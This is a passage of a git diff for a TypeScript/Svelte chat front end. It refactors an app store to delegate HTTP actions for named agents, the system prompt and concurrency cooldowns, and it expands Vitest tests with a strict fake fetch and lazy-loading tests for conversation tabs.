- if (data === null) {
- return { ok: false, error: "Malformed concurrency cooldown response" };
- }
- return { ok: true, providerId: data.providerId, cooldownMs: data.cooldownMs };
- } catch (err) {
- return {
- ok: false,
- error: err instanceof Error ? err.message : "Get concurrency cooldown request failed",
- };
- }
- },
+ getConcurrencyCooldown: httpActions.getConcurrencyCooldown,
- async setConcurrencyCooldown(
- providerId: string,
- cooldownMs: number,
- ): Promise<ConcurrencyCooldownResult> {
- try {
- const res = await fetchImpl(
- `${httpBase}/concurrency/cooldown/${encodeURIComponent(providerId)}`,
- {
- method: "PUT",
- headers: { "content-type": "application/json" },
- body: JSON.stringify({ cooldownMs }),
- },
- );
- if (!res.ok) {
- const errBody = (await res.json().catch(() => null)) as { error?: string } | null;
- return {
- ok: false,
- error: errBody?.error ?? `Set concurrency cooldown failed (HTTP ${res.status})`,
- };
- }
- const data = normalizeConcurrencyCooldown(await res.json());
- if (data === null) {
- return { ok: false, error: "Malformed concurrency cooldown response" };
- }
- return { ok: true, providerId: data.providerId, cooldownMs: data.cooldownMs };
- } catch (err) {
- return {
- ok: false,
- error: err instanceof Error ? err.message : "Set concurrency cooldown request failed",
- };
- }
- },
+ setConcurrencyCooldown: httpActions.setConcurrencyCooldown,
- async loadSystemPrompt(): Promise<SystemPromptLoadResult> {
- try {
- const res = await fetchImpl(`${httpBase}/system-prompt`);
- if (!res.ok) {
- const errBody = (await res.json().catch(() => null)) as { error?: string } | null;
- return {
- ok: false,
- error: errBody?.error ?? `Load system prompt failed (HTTP ${res.status})`,
- };
- }
- const data = (await res.json()) as SystemPromptTemplateResponse;
- return { ok: true, template: data.template ?? "" };
- } catch (err) {
- return {
- ok: false,
- error: err instanceof Error ? err.message : "Load system prompt request failed",
- };
- }
- },
+ loadSystemPrompt: httpActions.loadSystemPrompt,
- async setSystemPrompt(template: string): Promise<SystemPromptSaveResult> {
- try {
- const body: SetSystemPromptTemplateRequest = { template };
- const res = await fetchImpl(`${httpBase}/system-prompt`, {
- method: "PUT",
- headers: { "content-type": "application/json" },
- body: JSON.stringify(body),
- });
- if (!res.ok) {
- const errBody = (await res.json().catch(() => null)) as { error?: string } | null;
- return {
- ok: false,
- error: errBody?.error ?? `Set system prompt failed (HTTP ${res.status})`,
- };
- }
- const data = (await res.json()) as SystemPromptTemplateResponse;
- return { ok: true, template: data.template };
- } catch (err) {
- return {
- ok: false,
- error: err instanceof Error ? err.message : "Set system prompt request failed",
- };
- }
- },
+ setSystemPrompt: httpActions.setSystemPrompt,
- async loadSystemPromptVariables(): Promise<SystemPromptVariablesResult> {
- try {
- const res = await fetchImpl(`${httpBase}/system-prompt/variables`);
- if (!res.ok) {
- const errBody = (await res.json().catch(() => null)) as { error?: string } | null;
- return {
- ok: false,
- error: errBody?.error ?? `Load system prompt variables failed (HTTP ${res.status})`,
- };
- }
- const data = (await res.json()) as Partial<SystemPromptVariablesResponse>;
- return { ok: true, variables: Array.isArray(data.variables) ? data.variables : [] };
- } catch (err) {
- return {
- ok: false,
- error: err instanceof Error ? err.message : "Load system prompt variables request failed",
- };
- }
- },
+ loadSystemPromptVariables: httpActions.loadSystemPromptVariables,
- attachUnloadGate(gate: () => boolean): void {
- unloadGate = gate;
- },
+ attachUnloadGate: registry.attachUnloadGate,
// ── Named Agents (global config; plan §9) ────────────────────────────────
get namedAgents(): readonly NamedAgent[] {
- return namedAgents;
+ return refreshers.namedAgents;
},
get namedAgentSnapshot(): NamedAgentSelectionSnapshot | null {
return namedAgentSnapshot;
@@ -2927,103 +748,16 @@ export function createAppStore(opts?: CreateAppStoreOptions): AppStore {
return tileLayoutStore;
},
get enabledProviderCount(): number | null {
- return enabledProviderCount;
+ return refreshers.enabledProviderCount;
},
- async refreshNamedAgents(): Promise<NamedAgentsResult> {
- try {
- const res = await fetchImpl(`${httpBase}/named-agents`);
- if (!res.ok) {
- const errBody = (await res.json().catch(() => null)) as { error?: string } | null;
- return {
- ok: false,
- error: errBody?.error ?? `Named agents failed (HTTP ${res.status})`,
- };
- }
- const agents = normalizeNamedAgents(await res.json());
- namedAgents = agents;
- return { ok: true, agents };
- } catch (err) {
- return {
- ok: false,
- error: err instanceof Error ? err.message : "Named agents request failed",
- };
- }
- },
+ refreshNamedAgents: refreshers.refreshNamedAgents,
- async createNamedAgent(input: NamedAgentInput): Promise<NamedAgentSaveResult> {
- try {
- const res = await fetchImpl(`${httpBase}/named-agents`, {
- method: "POST",
- headers: { "content-type": "application/json" },
- body: JSON.stringify(input),
- });
- if (!res.ok) {
- const errBody = (await res.json().catch(() => null)) as { error?: string } | null;
- return {
- ok: false,
- error: errBody?.error ?? `Create named agent failed (HTTP ${res.status})`,
- };
- }
- const agent = normalizeNamedAgentRecord(await res.json());
- if (agent === null) return { ok: false, error: "Malformed named agent response" };
- upsertNamedAgent(agent);
- return { ok: true, agent };
- } catch (err) {
- return {
- ok: false,
- error: err instanceof Error ? err.message : "Create named agent request failed",
- };
- }
- },
+ createNamedAgent: refreshers.createNamedAgent,
- async updateNamedAgent(id: string, input: NamedAgentInput): Promise<NamedAgentSaveResult> {
- try {
- const res = await fetchImpl(`${httpBase}/named-agents/${encodeURIComponent(id)}`, {
- method: "PUT",
- headers: { "content-type": "application/json" },
- body: JSON.stringify(input),
- });
- if (!res.ok) {
- const errBody = (await res.json().catch(() => null)) as { error?: string } | null;
- return {
- ok: false,
- error: errBody?.error ?? `Update named agent failed (HTTP ${res.status})`,
- };
- }
- const agent = normalizeNamedAgentRecord(await res.json());
- if (agent === null) return { ok: false, error: "Malformed named agent response" };
- upsertNamedAgent(agent);
- return { ok: true, agent };
- } catch (err) {
- return {
- ok: false,
- error: err instanceof Error ? err.message : "Update named agent request failed",
- };
- }
- },
+ updateNamedAgent: refreshers.updateNamedAgent,
- async deleteNamedAgent(id: string): Promise<NamedAgentDeleteResult> {
- try {
- const res = await fetchImpl(`${httpBase}/named-agents/${encodeURIComponent(id)}`, {
- method: "DELETE",
- });
- if (!res.ok) {
- const errBody = (await res.json().catch(() => null)) as { error?: string } | null;
- return {
- ok: false,
- error: errBody?.error ?? `Delete named agent failed (HTTP ${res.status})`,
- };
- }
- namedAgents = namedAgents.filter((a) => a.id !== id);
- return { ok: true };
- } catch (err) {
- return {
- ok: false,
- error: err instanceof Error ? err.message : "Delete named agent request failed",
- };
- }
- },
+ deleteNamedAgent: refreshers.deleteNamedAgent,
get fatalError(): string | null {
return fatalError;
@@ -3033,15 +767,7 @@ export function createAppStore(opts?: CreateAppStoreOptions): AppStore {
},
dispose(): void {
- for (const store of chatStores.values()) {
- store.dispose();
- }
- chatStores.clear();
- for (const store of watchStores.values()) {
- store.dispose();
- }
- watchStores.clear();
- draftStore.dispose();
+ registry.dispose();
socket?.close();
socket = null;
},
diff --git a/src/app/store.test.ts b/src/app/store.test.ts
index 89e418e..90c11b3 100644
--- a/src/app/store.test.ts
+++ b/src/app/store.test.ts
@@ -1,10 +1,29 @@
import type { ConversationHistoryResponse, WsServerMessage } from "@dispatch/transport-contract";
import type { SurfaceServerMessage } from "@dispatch/ui-contract";
import type { NamedAgent } from "@dispatch/wire";
-import { describe, expect, it, vi } from "vitest";
+import { IDBFactory } from "fake-indexeddb";
+import { afterEach, beforeEach, describe, expect, it, vi } from "vitest";
import type { WebSocketLike } from "../adapters/ws";
import { createAppStore } from "./store.svelte";
+// Never let an omitted injection reach a real backend. Track rejected requests
+// too: the app deliberately catches network errors, which must not hide a bad fake.
+const unexpectedFetch = vi.fn<typeof fetch>(async (input, init) => {
+ const url = typeof input === "string" ? input : input instanceof URL ? input.href : input.url;
+ const method = init?.method ?? (input instanceof Request ? input.method : "GET");
+ throw new Error(`Unexpected fetch: ${method} ${url}`);
+});
+
+beforeEach(() => {
+ unexpectedFetch.mockClear();
+ vi.stubGlobal("fetch", unexpectedFetch);
+});
+
+afterEach(() => {
+ vi.unstubAllGlobals();
+ expect(unexpectedFetch).not.toHaveBeenCalled();
+});
+
interface FakeSocket extends WebSocketLike {
sent: string[];
resolveOpen(): void;
@@ -128,13 +147,66 @@ function fakeFetchImpl(opts?: FakeFetchOptions): typeof fetch {
"body" in input
? await input.clone().text()
: null;
- if (/\/models(\?.*)?$/.test(url)) {
- return new Response(JSON.stringify({ models }), { status: 200 });
+ const { pathname, searchParams } = new URL(url);
+ if (pathname === "/models" && method === "GET") {
+ return Response.json({ models });
+ }
+ if (method === "GET") {
+ if (pathname === "/conversations" && searchParams.get("status") === "active,idle") {
+ // Most tests drive tabs via WS/local actions. Disable boot reconciliation
+ // so an in-flight empty list cannot remove a tab created by the test.
+ // Discovery tests override this route with their authoritative lists.
+ return Response.json({ error: "Discovery unavailable in this fixture" }, { status: 503 });
+ }
+ if (pathname === "/plugins") return Response.json({ plugins: [] });
+ if (pathname === "/computers") return Response.json({ computers: [] });
+ if (/^\/workspaces\/[^/]+\/plugins$/.test(pathname)) {
+ return Response.json({ workspaceId: pathname.split("/")[2], plugins: [] });
+ }
+ if (/^\/workspaces\/[^/]+\/plugins\/providers-status$/.test(pathname)) {
+ return Response.json({ enabledProviderCount: 1 });
+ }
+ // Explicitly simulate absent layout providers; retain local cached layouts.
+ if (
+ /^\/workspaces\/[^/]+\/layout$/.test(pathname) ||
+ /^\/home\/tile-layout\/(wide|tall)$/.test(pathname)
+ ) {
+ return Response.json({ error: "No layout provider" }, { status: 404 });
+ }
+ if (pathname === "/settings/vision") {
+ return Response.json({ imageLimit: 10, compactionModel: null });
+ }
+ const setting =
+ /^\/conversations\/[^/]+\/(cwd|computer|reasoning-effort|thinking|compact-percent)$/.exec(
+ pathname,
+ )?.[1];
+ if (setting !== undefined) {
+ const key = {
+ cwd: "cwd",
+ computer: "computerId",
+ "reasoning-effort": "reasoningEffort",
+ thinking: "thinking",
+ "compact-percent": "compactPercent",
+ }[setting];
+ if (key !== undefined) return Response.json({ [key]: null });
+ }
+ if (/^\/conversations\/[^/]+\/metrics$/.test(pathname)) {
+ return Response.json({ turns: [] });
+ }
+ if (/^\/conversations\/[^/]+$/.test(pathname) && searchParams.has("sinceSeq")) {
+ return Response.json(
+ history[url] ??
+ ({ chunks: [], historyEpoch: 0, latestSeq: 0 } satisfies ConversationHistoryResponse),
+ );
+ }
}
- if (url.endsWith("/named-agents") && method === "GET") {
+ if (/^\/conversations\/[^/]+\/close$/.test(pathname) && method === "POST") {
+ return Response.json({ conversationId: pathname.split("/")[2], abortedTurn: false });
+ }
+ if (pathname === "/named-agents" && method === "GET") {
return new Response(JSON.stringify({ namedAgents }), { status: 200 });
}
- if (url.endsWith("/named-agents") && method === "POST") {
+ if (pathname === "/named-agents" && method === "POST") {
const payload =
bodyText === null
? null
@@ -147,7 +219,7 @@ function fakeFetchImpl(opts?: FakeFetchOptions): typeof fetch {
namedAgents = [...namedAgents, agent];
return new Response(JSON.stringify({ namedAgent: agent }), { status: 201 });
}
- if (url.includes("/named-agents/") && method === "PUT") {
+ if (/^\/named-agents\/[^/]+$/.test(pathname) && method === "PUT") {
const id = url.split("/named-agents/")[1] ?? "";
const payload =
bodyText === null
@@ -161,12 +233,15 @@ function fakeFetchImpl(opts?: FakeFetchOptions): typeof fetch {
namedAgents = namedAgents.map((a) => (a.id === id ? updated : a));
return new Response(JSON.stringify({ namedAgent: updated }), { status: 200 });
}
- if (url.includes("/named-agents/") && method === "DELETE") {
+ if (/^\/named-agents\/[^/]+$/.test(pathname) && method === "DELETE") {
const id = url.split("/named-agents/")[1] ?? "";
namedAgents = namedAgents.filter((a) => a.id !== id);
return new Response(JSON.stringify({ id }), { status: 200 });
}
- if (url.endsWith("/model")) {
+ if (
+ /^\/conversations\/[^/]+\/model$/.test(pathname) &&
+ (method === "GET" || method === "PUT")
+ ) {
return new Response(
JSON.stringify({
conversationId: "ignored",
@@ -175,9 +250,7 @@ function fakeFetchImpl(opts?: FakeFetchOptions): typeof fetch {
{ status: 200 },
);
}
- const body =
- history[url] ?? ({ chunks: [], latestSeq: 0 } satisfies ConversationHistoryResponse);
- return new Response(JSON.stringify(body), { status: 200 });
+ return unexpectedFetch(input, init);
};
}
@@ -197,8 +270,8 @@ function createFakeStorage(): Storage {
getItem(key: string): string | null {
return map.get(key) ?? null;
},
- key(_index: number): string | null {
- return null;
+ key(index: number): string | null {
+ return [...map.keys()][index] ?? null;
},
removeItem(key: string) {
map.delete(key);
@@ -215,6 +288,22 @@ function activeConversationId(store: ReturnType<typeof createAppStore>): string
return id as string;
}
+describe("fakeFetchImpl", () => {
+ it.each([
+ "http://localhost:24203/unexpected",
+ new URL("http://localhost:24203/conversations/c/unknown-setting"),
+ new Request("http://localhost:24203/models", { method: "DELETE" }),
+ ])("rejects an unexpected URL or method: %s", async (input) => {
+ try {
+ await expect(fakeFetchImpl()(input)).rejects.toThrow("Unexpected fetch:");
+ expect(unexpectedFetch).toHaveBeenCalledOnce();
+ } finally {
+ // This test deliberately exercises the guard; all store tests require zero calls.
+ unexpectedFetch.mockClear();
+ }
+ });
+});
+
describe("createAppStore", () => {
it("starts with empty catalog and no surfaces", () => {
const ws = fakeSocket();
@@ -233,6 +322,29 @@ describe("createAppStore", () => {
store.dispose();
});
+ it("probes only the portrait tile layout at boot and injects its cached document", () => {
+ const width = vi.spyOn(window, "innerWidth", "get").mockReturnValue(390);
+ const height = vi.spyOn(window, "innerHeight", "get").mockReturnValue(844);
+ const storage = createFakeStorage();
+ const cached = { version: 2, tiles: [{ id: "a", order: 0, colSpan: 2, rowSpan: 2 }] };
+ storage.setItem("dispatch.tile-layout.tall", JSON.stringify(cached));
+ const fetchImpl = vi.fn(fakeFetchImpl());
+ const store = createAppStore({ socketFactory: fakeSocket, fetchImpl, localStorage: storage });
+ try {
+ expect(store.tileLayout.mode).toBe("tall");
+ expect(store.tileLayout.entries).toEqual(cached.tiles);
+ expect(
+ fetchImpl.mock.calls
+ .map(([url]) => String(url))
+ .filter((url) => url.includes("/home/tile-layout/")),
+ ).toEqual([expect.stringMatching(/\/home\/tile-layout\/tall$/)]);
+ } finally {
+ store.dispose();
+ width.mockRestore();
+ height.mockRestore();
+ }
+ });
+
it("updates catalog when catalog message arrives", () => {
const ws = fakeSocket();
const store = createAppStore({
@@ -571,9 +683,14 @@ describe("createAppStore", () => {
{ seq: 1, role: "user", chunk: { type: "text", text: "hi" } },
{ seq: 2, role: "assistant", chunk: { type: "text", text: "hello!" } },
],
+ historyEpoch: 0,
latestSeq: 2,
};
- const fetchImpl: typeof fetch = async (input: string | URL | Request): Promise<Response> => {
+ const base = fakeFetchImpl();
+ const fetchImpl: typeof fetch = async (
+ input: string | URL | Request,
+ init?: RequestInit,
+ ): Promise<Response> => {
const url = typeof input === "string" ? input : input instanceof URL ? input.href : input.url;
fetchedUrls.push(url);
if (/\/models(\?.*)?$/.test(url)) {
@@ -581,7 +698,10 @@ describe("createAppStore", () => {
status: 200,
});
}
- return new Response(JSON.stringify(historyResponse), { status: 200 });
+ if (/\/conversations\/[^/?]+\?sinceSeq=/.test(url)) {
+ return Response.json(historyResponse);
+ }
+ return base(input, init);
};
const ws = fakeSocket();
@@ -632,13 +752,13 @@ describe("createAppStore", () => {
});
ws.resolveOpen();
- await new Promise((r) => setTimeout(r, 50));
-
- expect(store.models).toEqual([
- "opencode-1/deepseek-v4-flash",
- "openai/gpt-4o",
- "anthropic/claude-3",
- ]);
+ await vi.waitFor(() => {
+ expect(store.models).toEqual([
+ "opencode-1/deepseek-v4-flash",
+ "openai/gpt-4o",
+ "anthropic/claude-3",
+ ]);
+ });
store.dispose();
});
@@ -668,9 +788,7 @@ describe("createAppStore", () => {
localStorage: createFakeStorage(),
});
ws.resolveOpen();
- await new Promise((r) => setTimeout(r, 50));
-
- expect(store.models).toEqual(["umans/umans-glm-5.2"]);
+ await vi.waitFor(() => expect(store.models).toEqual(["umans/umans-glm-5.2"]));
expect(store.activeModel).toBe("opencode-1/deepseek-v4-flash");
store.dispose();
@@ -802,9 +920,10 @@ describe("createAppStore", () => {
it("fetchOpenConversations stamps tabs with the conversation's persisted model (not the global active model)", async () => {
const ws = fakeSocket();
+ const base = fakeFetchImpl();
const fetchImpl: typeof fetch = async (
input: string | URL | Request,
- _init?: RequestInit,
+ init?: RequestInit,
): Promise<Response> => {
const url = typeof input === "string" ? input : input instanceof URL ? input.href : input.url;
if (/\/models(\?.*)?$/.test(url)) {
@@ -832,7 +951,7 @@ describe("createAppStore", () => {
{ status: 200 },
);
}
- return new Response(JSON.stringify({ chunks: [], latestSeq: 0 }), { status: 200 });
+ return base(input, init);
};
const store = createAppStore({
@@ -855,6 +974,58 @@ describe("createAppStore", () => {
store.dispose();
});
+ it("fetchOpenConversations seeds the chat store's cache-timer turn gap from an idle conversation's lastActivityAt", async () => {
+ const ws = fakeSocket();
+ const base = fakeFetchImpl();
+ const fetchImpl: typeof fetch = async (
+ input: string | URL | Request,
+ init?: RequestInit,
+ ): Promise<Response> => {
+ const url = typeof input === "string" ? input : input instanceof URL ? input.href : input.url;
+ if (url.includes("/conversations?status=")) {
+ return new Response(
+ JSON.stringify({
+ conversations: [
+ {
+ id: "conv-seed",
+ createdAt: 1000,
+ lastActivityAt: 7777,
+ title: "Seed conv",
+ status: "idle",
+ workspaceId: "default",
+ model: "claude/claude-opus-4-6",
+ },
+ ],
+ }),
+ { status: 200 },
+ );
+ }
+ if (url.endsWith("/metrics")) {
+ return new Response(JSON.stringify({ turns: [] }), { status: 200 });
+ }
+ return base(input, init);
+ };
+
+ const store = createAppStore({
+ socketFactory: () => ws,
+ fetchImpl,
+ localStorage: createFakeStorage(),
+ });
+ ws.resolveOpen();
+
+ await vi.waitFor(() => {
+ expect(store.tabs.some((t) => t.conversationId === "conv-seed")).toBe(true);
+ });
+ store.selectTab("conv-seed");
+ expect(store.activeChat.cacheTimer.running).toEqual({
+ kind: "turn",
+ turnId: null,
+ startedAt: 7777,
+ });
+
+ store.dispose();
+ });
+
it("conversation.open WS message carrying a model stamps the tab with it", async () => {
const ws = fakeSocket();
const store = createAppStore({
@@ -1436,9 +1607,13 @@ describe("createAppStore", () => {
store.dispose();
});
- it("re-subscribes chat (and resyncs) for every open conversation on reconnect", async () => {
+ it("re-subscribes and resyncs a loaded conversation on reconnect", async () => {
const fetchedUrls: string[] = [];
- const fetchImpl: typeof fetch = async (input: string | URL | Request): Promise<Response> => {
+ const base = fakeFetchImpl();
+ const fetchImpl: typeof fetch = async (
+ input: string | URL | Request,
+ init?: RequestInit,
+ ): Promise<Response> => {
const url = typeof input === "string" ? input : input instanceof URL ? input.href : input.url;
fetchedUrls.push(url);
if (/\/models(\?.*)?$/.test(url)) {
@@ -1446,7 +1621,7 @@ describe("createAppStore", () => {
status: 200,
});
}
- return new Response(JSON.stringify({ chunks: [], latestSeq: 0 }), { status: 200 });
+ return base(input, init);
};
const ws = reconnectableSocket();
@@ -1529,9 +1704,6 @@ describe("createAppStore", () => {
status: 200,
});
}
- if (url.includes("/heartbeat")) {
- return new Response(JSON.stringify(config), { status: 200 });
- }
return base(input, init);
};
}
@@ -2294,6 +2466,7 @@ describe("createAppStore — vision settings (global)", () => {
fetchImpl: typeof fetch;
puts: { imageLimit?: number; compactionModel?: string | null }[];
} {
+ const base = fakeFetchImpl();
let current = initial;
const puts: { imageLimit?: number; compactionModel?: string | null }[] = [];
return {
@@ -2322,8 +2495,7 @@ describe("createAppStore — vision settings (global)", () => {
}
return new Response(JSON.stringify(current), { status: 200 });
}
- // Default: empty history + no cwd for the other endpoints.
- return new Response(JSON.stringify({ chunks: [], latestSeq: 0 }), { status: 200 });
+ return base(input, init);
},
};
}
@@ -2386,6 +2558,7 @@ describe("createAppStore — vision settings (global)", () => {
});
it("surfaces a PUT error", async () => {
+ const base = fakeFetchImpl();
const fetchImpl: typeof fetch = async (input, init) => {
const url = typeof input === "string" ? input : input instanceof URL ? input.href : input.url;
if (url.endsWith("/settings/vision")) {
@@ -2396,7 +2569,7 @@ describe("createAppStore — vision settings (global)", () => {
status: 200,
});
}
- return new Response(JSON.stringify({ models: [] }), { status: 200 });
+ return base(input, init);
};
const store = createAppStore({
socketFactory: () => fakeSocket(),
@@ -2532,3 +2705,496 @@ describe("createAppStore — Named Agents", () => {
store.dispose();
});
});
+
+describe("conversation load-on-demand", () => {
+ async function setup(
+ ws: WebSocketLike,
+ count = 3,
+ activeConversationId: string | null = "lazy-0",
+ workspaceCount = 1,
+ ) {
+ const storage = createFakeStorage();
+ const conversations = Array.from({ length: count }, (_, i) => ({
+ id: `lazy-${i}`,
+ title: `Conversation ${i}`,
+ model: "openai/gpt-4o",
+ workspaceId: i % workspaceCount === 0 ? "default" : `workspace-${i % workspaceCount}`,
+ status: i === 1 ? "active" : "idle",
+ lastActivityAt: 1234,
+ }));
+ storage.setItem(
+ "dispatch.tabs",
+ JSON.stringify({
+ tabs: conversations.slice(0, Math.ceil(count / 2)).map((c) => ({
+ conversationId: c.id,
+ title: c.title,
+ model: c.model,
+ workspaceId: c.workspaceId,
+ })),
+ activeConversationId,
+ }),
+ );
+ const base = fakeFetchImpl();
+ const fetchImpl = vi.fn<typeof fetch>(async (input, init) => {
+ const url = String(input);
+ if (url.includes("/conversations?status=")) {
+ return Response.json({ conversations });
+ }
+ if (/\/conversations\/[^/?]+\?sinceSeq=/.test(url)) {
+ return Response.json({
+ chunks: [
+ { seq: 1, role: "user", turnId: "t1", chunk: { type: "text", text: "hi" } },
+ { seq: 2, role: "assistant", turnId: "t1", chunk: { type: "text", text: "hello" } },
+ ],
+ historyEpoch: 0,
+ latestSeq: 2,
+ });
+ }
+ if (url.endsWith("/metrics")) return Response.json({ turns: [] });
+ return base(input, init);
+ });
+ const store = createAppStore({
+ socketFactory: () => ws,
+ fetchImpl,
+ localStorage: storage,
+ indexedDB: new IDBFactory(),
+ chatFlushScheduler: null,
+ });
+ const requests = () =>
+ fetchImpl.mock.calls
+ .map(([url]) => new URL(String(url)).pathname + new URL(String(url)).search)
+ .filter((url) => /\/conversations\/[^/?]+(?:\?sinceSeq=|\/metrics$)/.test(url));
+ await vi.waitFor(() => expect(store.tabs).toHaveLength(Math.ceil(count / workspaceCount)));
+ if (activeConversationId !== null) {
+ await vi.waitFor(() =>
+ expect(requests()).toContain(`/conversations/${activeConversationId}/metrics`),
+ );
+ }
+ return { store, requests };
+ }
+
+ // These exercise 300 real Svelte-backed tabs and count requests, not elapsed
+ // time. Allow contention without shrinking the regression's large-tab fixture.
+ it("boots 300 persisted/discovered tabs with only active history + metrics", async () => {
+ const ws = fakeSocket();
+ const { store, requests } = await setup(ws, 300);
+ try {
+ ws.resolveOpen();
+ expect(requests()).toEqual([
+ "/conversations/lazy-0?sinceSeq=0&limit=192",
+ "/conversations/lazy-0/metrics",
+ ]);
+ expect(
+ parseSent(ws).filter((m) => (m as { type: string }).type === "chat.subscribe"),
+ ).toHaveLength(1);
+ expect(store.tabs[299]?.title).toBe("Conversation 299");
+ expect(store.conversationStatus("lazy-1")).toBe("active");
+ ws.feedServerMessage({
+ type: "conversation.statusChanged",
+ conversationId: "lazy-1",
+ workspaceId: "default",
+ status: "queued",
+ });
+ expect(store.conversationStatus("lazy-1")).toBe("queued");
+ expect(requests()).toHaveLength(2);
+ } finally {
+ store.dispose();
+ }
+ }, 20_000);
+
+ it("discovers 339 conversations across 24 workspaces without subscribing to all of them", async () => {
+ const ws = fakeSocket();
+ const { store } = await setup(ws, 339, "lazy-0", 24);
+ try {
+ ws.resolveOpen();
+ const subscriptions = parseSent(ws).filter(
+ (message) => (message as { type: string }).type === "chat.subscribe",
+ );
+ expect(subscriptions).toEqual([{ type: "chat.subscribe", conversationId: "lazy-0" }]);
+ store.setActiveWorkspace("workspace-1");
+ store.selectTab("lazy-1");
+ expect(parseSent(ws)).toContainEqual({ type: "chat.unsubscribe", conversationId: "lazy-0" });
+ expect(parseSent(ws)).toContainEqual({ type: "chat.subscribe", conversationId: "lazy-1" });
+ } finally {
+ store.dispose();
+ }
+ }, 20_000);
+
+ it("does not load any history while the active slot is a draft", async () => {
+ const { store, requests } = await setup(fakeSocket(), 300, null);
+ try {
+ expect(requests()).toEqual([]);
+ store.selectTab("lazy-0");
+ await vi.waitFor(() => expect(requests()).toContain("/conversations/lazy-0/metrics"));
+ expect(requests()).toHaveLength(2);
+ } finally {
+ store.dispose();
+ }
+ }, 20_000);
+
+ it("loads a tab once while pending and catches up a previously loaded tab on reactivation", async () => {
+ const { store, requests } = await setup(fakeSocket());
+ try {
+ store.selectTab("lazy-2");
+ store.selectTab("lazy-0");
+ store.selectTab("lazy-2");
+ await vi.waitFor(() => expect(requests()).toHaveLength(6));
+ expect(requests().filter((u) => u.includes("lazy-2"))).toHaveLength(2);
+ expect(store.activeChat.cacheTimer.running?.startedAt).toBe(1234);
+ } finally {
+ store.dispose();
+ }
+ });
+
+ it("re-subscribes and resyncs only focused tabs and watches on reconnect", async () => {
+ const ws = reconnectableSocket();
+ const { store, requests } = await setup(ws);
+ try {
+ ws.open();
+ store.watchConversation("lazy-watch");
+ await vi.waitFor(() => expect(requests()).toHaveLength(4));
+ ws.sent.length = 0;
+ const before = requests().length;
+ ws.closeRemote();
+ await new Promise((r) => setTimeout(r, 800));
+ ws.open();
+ await vi.waitFor(() => expect(requests()).toHaveLength(before + 4));
+ expect(
+ requests()
+ .slice(before)
+ .every((u) => /lazy-(0|watch)[/?]/.test(u)),
+ ).toBe(true);
+ expect(
+ parseSent(ws).filter((m) => (m as { type: string }).type === "chat.subscribe"),
+ ).toHaveLength(2);
+ } finally {
+ store.dispose();
+ }
+ });
+
+ it("loads watches, including unloaded tabs, and loads disposed watches again", async () => {
+ const { store, requests } = await setup(fakeSocket());
+ try {
+ const watch = store.watchConversation("lazy-1");
+ store.watchConversation("lazy-1");
+ await vi.waitFor(() => expect(requests()).toHaveLength(4));
+ expect(watch.chunks).toHaveLength(2);
+ store.selectTab("lazy-1");
+ expect(requests()).toHaveLength(4);
+ store.watchConversation("lazy-watch");
+ await vi.waitFor(() => expect(requests()).toHaveLength(6));
+ store.unwatchConversation("lazy-watch");
+ const reopened = store.watchConversation("lazy-watch");
+ await vi.waitFor(() => expect(requests()).toHaveLength(8));
+ expect(reopened.chunks).toHaveLength(2);
+ } finally {
+ store.dispose();
+ }
+ });
+
+ it("merges pre-load live deltas with history without duplicate bubbles", async () => {
+ const ws = fakeSocket();
+ const { store, requests } = await setup(ws);
+ try {
+ ws.resolveOpen();
+ ws.feedServerMessage({
+ type: "chat.delta",
+ event: { type: "turn-start", conversationId: "lazy-1", turnId: "t1" },
+ });
+ ws.feedServerMessage({
+ type: "chat.delta",
+ event: { type: "user-message", conversationId: "lazy-1", turnId: "t1", text: "hi" },
+ });
+ ws.feedServerMessage({
+ type: "chat.delta",
+ event: { type: "text-delta", conversationId: "lazy-1", turnId: "t1", delta: "hello" },
+ });
+ expect(requests()).toHaveLength(2);
+ store.selectTab("lazy-1");
+ expect(store.activeChat.chunks.map((c) => c.chunk)).toEqual([
+ { type: "text", text: "hi" },
+ { type: "text", text: "hello" },
+ ]);
+ await vi.waitFor(() => expect(requests()).toHaveLength(4));
+ expect(store.activeChat.chunks).toHaveLength(2);
+ expect(store.activeChat.chunks.every((c) => !c.provisional)).toBe(true);
+ expect(store.activeChat.generating).toBe(true);
+ } finally {
+ store.dispose();
+ }
+ });
+
+ it("compaction reloads loaded stores but does not load unseen conversations", async () => {
+ const ws = fakeSocket();
+ const { store, requests } = await setup(ws);
+ try {
+ ws.resolveOpen();
+ ws.feedServerMessage({
+ type: "chat.delta",
+ event: { type: "turn-start", conversationId: "lazy-1", turnId: "old" },
+ });
+ ws.feedServerMessage({
+ type: "chat.delta",
+ event: { type: "text-delta", conversationId: "lazy-1", turnId: "old", delta: "stale" },
+ });
+ for (const id of ["lazy-1", "unknown", "lazy-0"]) {
+ ws.feedServerMessage({
+ type: "conversation.compacted",
+ conversationId: id,
+ newConversationId: `${id}-archive`,
+ messagesSummarized: 10,
+ historyEpoch: 0,
+ messagesKept: 2,
+ });
+ }
+ await vi.waitFor(() => expect(requests()).toHaveLength(4));
+ expect(requests().every((u) => u.includes("lazy-0"))).toBe(true);
+ store.selectTab("lazy-1");
+ await vi.waitFor(() => expect(requests()).toHaveLength(6));
+ expect(store.activeChat.chunks).toHaveLength(2);
+ } finally {
+ store.dispose();
+ }
+ });
+
+ it("keeps a watched store loaded when it becomes a tab, and reloads a closed tab", async () => {
+ const ws = fakeSocket();
+ const { store, requests } = await setup(ws);
+ try {
+ ws.resolveOpen();
+ const watch = store.watchConversation("lazy-watch");
+ await vi.waitFor(() => expect(requests()).toHaveLength(4));
+ ws.feedServerMessage({
+ type: "conversation.open",
+ conversationId: "lazy-watch",
+ workspaceId: "default",
+ });
+ store.selectTab("lazy-watch");
+ expect(store.activeChat.chunks).toEqual(watch.chunks);
+ store.unwatchConversation("lazy-watch");
+ expect(requests()).toHaveLength(4);
+ store.newDraft(); // Closing a background tab must not activate/load its neighbor.
+ store.closeTab("lazy-watch");
+ ws.feedServerMessage({
+ type: "conversation.open",
+ conversationId: "lazy-watch",
+ workspaceId: "default",
+ });
+ expect(requests()).toHaveLength(4);
+ store.selectTab("lazy-watch");
+ await vi.waitFor(() => expect(requests()).toHaveLength(6));
+ } finally {
+ store.dispose();
+ }
+ });
+});
+
+it.each([
+ null,
+ {},
+ { conversations: {} },
+])("reports malformed conversation lists: %j", async (body) => {
+ const ws = fakeSocket();
+ const base = fakeFetchImpl();
+ const store = createAppStore({
+ socketFactory: () => ws,
+ indexedDB: new IDBFactory(),
+ localStorage: createFakeStorage(),
+ fetchImpl: async (input, init) =>
+ String(input).includes("/conversations?status=") ? Response.json(body) : base(input, init),
+ });
+ try {
+ ws.resolveOpen();
